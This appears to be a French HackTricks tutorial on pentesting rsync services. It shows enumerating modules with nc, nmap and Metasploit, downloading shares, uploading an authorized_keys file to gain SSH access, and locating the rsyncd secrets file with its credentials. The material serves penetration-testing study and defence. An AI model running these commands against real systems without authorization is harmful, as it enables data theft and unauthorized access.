8.2 KiB
873 - Pentesting Rsync
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Travaillez-vous dans une entreprise de cybersécurité ? Voulez-vous voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version du PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le swag officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.
Informations de base
rsync est un utilitaire permettant de transférer et de synchroniser efficacement des fichiers entre un ordinateur et un disque dur externe et à travers des ordinateurs en réseau en comparant les heures de modification et les tailles des fichiers.[3] Il est couramment trouvé sur les systèmes d'exploitation de type Unix. L'algorithme rsync est un type de codage delta, et est utilisé pour minimiser l'utilisation du réseau. Zlib peut être utilisé pour une compression de données supplémentaire,[3] et SSH ou stunnel peuvent être utilisés pour la sécurité.
D'après wikipedia.
Port par défaut : 873
PORT STATE SERVICE REASON
873/tcp open rsync syn-ack
Énumération
Bannière & Communication manuelle
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0 <--- You receive this banner with the version from the server
@RSYNCD: 31.0 <--- Then you send the same info
#list <--- Then you ask the sever to list
raidroot <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID <--- Enumeration finished
@RSYNCD: EXIT <--- Sever closes the connection
#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g <--- This means you need the password
Énumération des dossiers partagés
Un module rsync est essentiellement un partage de répertoire. Ces modules peuvent éventuellement être protégés par un mot de passe. Cette option liste les modules disponibles et, éventuellement, détermine si le module nécessite un mot de passe pour l'accès :
nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list
#Example using IPv6 and a different port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730
Notez qu'il pourrait être configuré un nom partagé pour ne pas être listé. Il pourrait donc y avoir quelque chose de caché. Notez qu'il peut y avoir des noms partagés listés pour lesquels vous avez besoin de certains identifiants (différents) pour accéder. Ainsi, tous les noms listés ne seront pas toujours accessibles et vous le remarquerez si vous recevez un message "Accès refusé" lors de la tentative d'accès à certains d'entre eux.
Force brute
Rsync manuel
Une fois que vous avez la liste des modules, vous avez plusieurs options différentes en fonction des actions que vous souhaitez entreprendre et si une authentification est requise ou non. Si l'authentification n'est pas requise, vous pouvez lister un dossier partagé :
rsync -av --list-only rsync://192.168.0.123/shared_name
Et copiez tous les fichiers sur votre machine locale via la commande suivante :
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared
Ce transfère récursivement tous les fichiers du répertoire <shared_name>
sur la machine <IP>
dans le répertoire ./rsync_shared
sur la machine locale. Les fichiers sont transférés en mode "archive", ce qui garantit que les liens symboliques, les périphériques, les attributs, les permissions, les propriétés, etc. sont préservés lors du transfert.
Si vous avez des identifiants, vous pouvez lister/télécharger un nom partagé en utilisant (le mot de passe sera demandé) :
rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared
Vous pourriez également téléverser du contenu en utilisant rsync (par exemple, dans ce cas, nous pouvons téléverser un fichier authorized_keys pour obtenir l'accès à la machine) :
rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh
POST
Trouvez le fichier de configuration rsyncd :
find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)
Dans le fichier de configuration, il est parfois possible de trouver le paramètre secrets file = /chemin/vers/fichier et ce fichier peut contenir des noms d'utilisateur et des mots de passe autorisés à s'authentifier sur rsyncd.
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- Vous travaillez dans une entreprise de cybersécurité ? Vous souhaitez voir votre entreprise annoncée dans HackTricks ? ou souhaitez-vous accéder à la dernière version de PEASS ou télécharger HackTricks en PDF ? Consultez les PLANS D'ABONNEMENT!
- Découvrez La Famille PEASS, notre collection d'NFTs exclusifs
- Obtenez le merchandising officiel PEASS & HackTricks
- Rejoignez le 💬 groupe Discord ou le groupe Telegram ou suivez-moi sur Twitter 🐦@carlospolopm.
- Partagez vos astuces de hacking en soumettant des PR au dépôt hacktricks et au dépôt hacktricks-cloud.